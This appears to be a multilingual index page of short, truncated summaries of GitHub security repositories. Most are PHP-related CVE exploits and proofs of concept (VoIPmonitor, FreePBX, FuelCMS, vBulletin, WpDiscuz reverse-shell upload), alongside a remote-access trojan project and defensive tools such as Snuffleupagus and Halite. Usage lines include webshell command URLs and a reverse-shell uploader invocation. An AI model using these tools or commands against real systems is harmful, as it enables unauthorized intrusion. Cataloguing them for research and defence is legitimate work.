CVE-2021-30461

영향받는 제품 VoIPmonitor 24.60 RCE 방법 root@kitploit: python3 CVE-2021-30461.py -t ipaddress 브라우저 셸: root@kitploit: http://x.x.x.x/namrlblgel.php?a=whoami 참고 https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/...

php_code_analysis

этот скрипт просканирует ваш код скрипт может найти 1. проблемы с загрузкой файлов 2. инъекция заголовка хоста 3. SQL инъекция 4. небезопасная десериализация 5. открытый редирект 6. SSRF 7. XSS 8. LFI 9. инъекция команд возможности 1. быстрота 2. простой отчёт использование: root@kitploit: python...

php_code_analysis

this script will scan your code the script can find 1. checkfileupload issues 2. hostheaderinjection 3. SQl injection 4. insecure deserialization 5. openredirect 6. SSRF 7. XSS 8. LFI 9. commandinjection features 1. fast 2. simple report usage: root@kitploit: python code.py file.php -this will sc...

D-RAT_VB.NET_MySQL_PHP

D-RATVB.NETMySQLPHP D-RAT VB.NET+MySQL+PHP Проект состоит из сервера "D-RAT" и клиента "D-STUB" Языки программирования для клиента и сервера: "VB.NET Framework 2" База данных: "MySQL" Веб-страница: "PHP" https://www.youtube.com/watch?v=opBbmQ5BRFk...

CVE-2025-57819-RCE

FreePBX 16 — Unauthenticated SQLi to RCE요약: 이 설명은 FreePBX 16의 두 취약점CVE-2025-57819 및 CVE-2025-61678을 결합하여 인증되지 않은 액세스에서 원격 코드 실행Remote Code Execution, RCE으로 권한을 상승시키는 전체 공격 체인을 보여줍니다. 취약점 CVE 정보 CVE 번호 영향 구성 요소 영향 및 취약점 유형 CVE-2025-57819 Endpoint 모듈 로더brand 매개변수 인증되지 않은 다중 명령 SQL 주입Unauthenticated...

CVE-2025-67435-PoC

CVE-2025-67435 Исследователь : Chowdhury Faizal Ahammed PluckCMS — Отчёт об уязвимости удалённого выполнения кода через Zip Slip Исполнительное резюме Данный отчёт документирует критическую уязвимость безопасности, обнаруженную в PluckCMS, которая позволяет аутентифицированным атакующим добиться...

CVE-2023-29809

익스플로잇 제목: 인증되지 않은 SQL 인젝션 Google Dork: 날짜: 27.04.2023 익스플로잇 작성자: Lucas Noki 0xPrototype 공급업체 홈페이지: https://github.com/vogtmh 소프트웨어 링크: https://github.com/vogtmh/cmaps 버전: 8.0 테스트 환경: Mac, Windows, Linux CVE : CVE-2023-29809 설명: 발견된 취약점은 SQL 인젝션입니다. bookmap 매개변수가 취약합니다. 페이지를 방문할 때:...

RCE_CVE-2024-7954

RCECVE-2024-7954 설명: SPIP 4.30-alpha2, 4.2.13 및 4.1.16 이전 버전에서 사용되는 porteplume 플러그인은 임의 코드 실행 취약점에 취약합니다. 원격의 인증되지 않은 공격자는 조작된 HTTP 요청을 전송하여 SPIP 사용자로 임의의 PHP 코드를 실행할 수 있습니다. 심각 익스플로잇: POST /index.php?action=porteplumeprevisu HTTP/1.1 Host: Hostname Content-Type: application/x-www-form-urlencoded...

CVE-2018-16763-FuelCMS-1.4.1-RCE

CVE-2018-16763 - FuelCMS = 1.4.1 RCE CVE-2018-16763을 통해 FuelCMS = 1.4.1에서 RCE를 트리거하고 대화형 셸을 사용하는 익스플로잇입니다. 기능 CVE-2018-16763을 사용하여 FuelCMS에 PHP 웹셸 API를 자동으로 업로드합니다. ?action=exec을 통해 API로 시스템 명령어를 실행합니다. ?action=download를 통해 원격 시스템에서 공격 머신으로 파일을 다운로드합니다. 사용법 요구사항 : 필요 없음, 이 익스플로잇은 인증 없이 사용 가능합니다...

CVE-2025-48827

Описание: Удаленное выполнение кода RCE для Vbullettin версий от 5.0.0 до 5.7.5 и от 6.0.0 до 6.0.3 с PHP 8.1 Возможности: Многопоточность Чтение из файла списка целей Обнаружение сайтов на Vbullettin Проверка уязвимости, при успехе загрузка PHP-веб-шелла Детали использования: usage:...

CVE-2020-29607

Alienfader Exploit / Alien@shell Эксплойт загрузки веб-оболочки Описание: Этот скрипт на Python эксплуатирует уязвимость обхода ограничений загрузки файлов в Pluck CMS например, версии до 4.7.13 для загрузки PHP веб-оболочки. После загрузки оболочка с именем "shell.phar" может использоваться для...

CVE-2026-49049

CVE-2026-49049 このリポジトリには、Joomla Helix3コンポーネントの脆弱性に対するPythonベースのスキャナーと概念実証が含まれています。このバグは任意ファイル書き込みの問題であり、攻撃者がWebからアクセス可能な場所にPHPペイロードを書き込める場合、リモートコード実行RCEにつながる可能性があります。 バグの内容 脆弱な動作は、リクエストパラメータが適切な検証なしにファイルパスやファイル内容を制御するために使用される場合に発生します。Helix3...

CVE-2023-46304

CVE-2023-46304 Удаленное выполнение кода аутентифицированным пользователем в VTiger Open Source CRM v7.5 Краткое описание Уязвимость существует в модуле Users в текущем выпуске VTiger CRM Open Source версии 7.5.0, которая позволяет аутентифицированному злоумышленнику записать и выполнить...

CVE-2022-23614

CVE-2022-23614 Доказательство концепции PoC для CVE-2022-23614, упомянутое в DSA-5107-1. CVSS-2.0 : 7.5 CVSS-3.X : 9.8 Объяснение Twig — это гибкий, быстрый и безопасный шаблонизатор для PHP. Примечательно, что можно использовать фильтры в шаблоне до его рендеринга. Фильтр sort можно использовать...

CVE-2020-24186_reverse_shell_upload

CVE-2020-24186 리버스 셸 업로드 h3v0x가 작성한 익스플로잇을 기반으로 한 WpDiscuz 7.0.4용 익스플로잇입니다. 취약점을 악용하여 리버스 PHP 셸을 업로드합니다. 영감은 Blogger CTF에서 얻었습니다. exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001 사용 예시:...

snuffleupagus

Snuffleupagus Модуль безопасности для php7 и php8 — устраняет целые классы уязвимостей, а остальное закрывает виртуальными патчами! Ключевые возможности • Загрузка • Примеры • Документация • Лицензия • Благодарности Snuffleupagus — это модуль для PHP 7+ и 8+, предназначенный для радикального...

CVE-2024-25641-CACTI-RCE-1.2.26

CVE-2024-25641 - Cacti 1.2.26 - Произвольная запись файла до RCE 🌵 Authenticated RCE Cacti version v1.2.26 Краткое описание Уязвимость произвольной записи файла, эксплуатируемая через функцию «Импорт пакетов», позволяет аутентифицированным пользователям, имеющим разрешение «Импорт шаблонов»,...

CVE-2024-2961

CVE-2024-2961 Сценарий смягчения проблемы безопасности CVE-2024–2961 Описание Этот репозиторий содержит Bash-скрипт для проверки и смягчения уязвимости переполнения буфера, обнаруженной в GNU libc glibc версий 2.39 и старше, известной как CVE-2024-2961. Данная уязвимость влияет на PHP, когда...

halite

Halite Halite 는 모든 내부 암호화 작업을 libsodium에 의존하는 고수준 암호화 인터페이스입니다. Halite는 Paragon Initiative Enterprises가 생태계를 개선하고 PHP에서의 암호화를 더 안전하고 구현하기 쉽게 만들기 위한 지속적인 노력의 결과로 만들었습니다. Halite 문서를 온라인에서 읽을 수 있습니다. Halite는 Mozilla Public License 2.0으로 배포됩니다. 파생 저작물을 MPL 조건으로 공개하지 않고 Halite를 확장하려는 경우 Paragon...

CVE-2022-45599

CVE-2022-45599 CVE URL:| https://vulners.com/cve/CVE-2022-45599 ---|--- Сообщил:| TanYeeTat Продукт:| Aztech WMB250AC беспроводные Mesh-маршрутизаторы Затронутая прошивка:| Релиз 2020 года topaz-linux.lzma.img Загрузка прошивки:| закрытый исходный код Руководство по продукту:...